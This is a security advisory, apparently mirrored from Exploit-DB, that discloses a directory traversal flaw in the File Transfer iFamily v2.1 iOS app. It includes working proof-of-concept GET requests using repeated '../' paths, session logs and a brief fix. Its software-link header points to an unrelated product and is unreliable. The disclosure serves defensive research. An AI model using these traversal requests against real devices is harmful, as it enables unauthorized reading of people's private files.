File Transfer iFamily 2.1 – Directory Traversal

  • 作者: Vulnerability-Lab
    日期: 2020-04-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48327/
  • # Title: File Transfer iFamily 2.1 - Directory Traversal
    # Author: Vulnerability Laboratory
    # Date: 2020-04-15
    # Software Link: http://www.dedecms.com/products/dedecms/downloads/
    # CVE: N/A
    
    Document Title:
    ===============
    File Transfer iFamily v2.1 - Directory Traversal Vulnerability
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2199
    
    
    Release Date:
    =============
    2020-04-14
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2199
    
    
    Common Vulnerability Scoring System:
    ====================================
    7.1
    
    
    Vulnerability Class:
    ====================
    Directory- or Path-Traversal
    
    
    Current Estimated Price:
    ========================
    1.000€ - 2.000€
    
    
    Product & Service Introduction:
    ===============================
    Send photos, videos and documents to other devices without Internet. A
    complete application to exchange files
    wirelessly between devices. It uses the Multipeer Connectivity Framework
    to search and connect to available devices,
    without the need of internet connection or any kind of server and database.
    
    (Copy of the Homepage:
    https://apps.apple.com/us/app/file-transfer-ifamily-files-photo-video-documents-wifi/id957971575
    )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered a directory
    traversal web vulnerability in the official File Transfer iFamily v2.1
    ios mobile application.
    
    
    Affected Product(s):
    ====================
    DONG JOO CHO
    Product: File Transfer iFamily v2.1 - iOS Mobile Web Application
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2020-04-14: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    High
    
    
    Authentication Type:
    ====================
    Pre auth - no privileges
    
    
    User Interaction:
    =================
    No User Interaction
    
    
    Disclosure Type:
    ================
    Independent Security Research
    
    
    Technical Details & Description:
    ================================
    A directory traversal web vulnerability has been discovered in the
    official File Transfer iFamily v2.1 ios mobile application.
    The vulnerability allows remote attackers to change the application path
    in performed requests to compromise the local application
    or file-system of a mobile device. Attackers are for example able to
    request environment variables or a sensitive system path.
    
    The directory-traversal web vulnerability is located in the main
    application path request performed via GET method. Attackers are
    able to request for example the local ./etc/ path of the web-server by
    changing the local path in the performed request itself.
    In a first request the attack changes the path, the host redirects to
    complete the adress with "..". Then the attacker just
    attaches a final slash to its request and the path can be accessed via
    web-browser to download local files.
    
    Exploitation of the directory traversal web vulnerability requires no
    privileged web-application user account or user interaction.
    Successful exploitation of the vulnerability results in information
    leaking by unauthorized file access and mobile application compromise.
    
    
    Proof of Concept (PoC):
    =======================
    The directory traversal vulnerability can be exploited by attackers with
    access to the wifi interface in a local network without user interaction.
    For security demonstration or to reproduce the security vulnerability
    follow the provided information and steps below to continue.
    
    
    PoC: Exploitation
    http://localhost/../../../../../../../../../../../../../../../../../../../../../../
    http://localhost//../
    
    
    --- PoC Session Logs [GET]] ---
    http://localhost/../../../../../../../../../../../../../../../../../../../../../../
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
    Gecko/20100101 Firefox/75.0
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    -
    GET: HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Length: 2521
    -
    http://localhost../etc/
    Host: localhost..
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
    Gecko/20100101 Firefox/75.0
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    - add slash to correct host adress (/.././)
    http://localhost/./
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
    Gecko/20100101 Firefox/75.0
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    - Access granted
    http://localhost/../../../../../../../../../../../../../../../../../../../../../../
    GET: HTTP/1.1 200 OK
    Accept-Ranges: bytes
    Content-Length: 2521
    
    
    Solution - Fix & Patch:
    =======================
    The vulnerability can be patched by a restriction of the visible and
    accessable ./etc/ path in the app container.
    Disallow path changes in the client-side get method requests and
    validate them securely.
    
    
    Security Risk:
    ==============
    The security risk of the directory travsersal web vulnerability in the
    ios mobile application is estimated as high.
    
    
    Credits & Authors:
    ==================
    Vulnerability-Lab -
    https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
    Benjamin Kunz Mejri -
    https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
    
    
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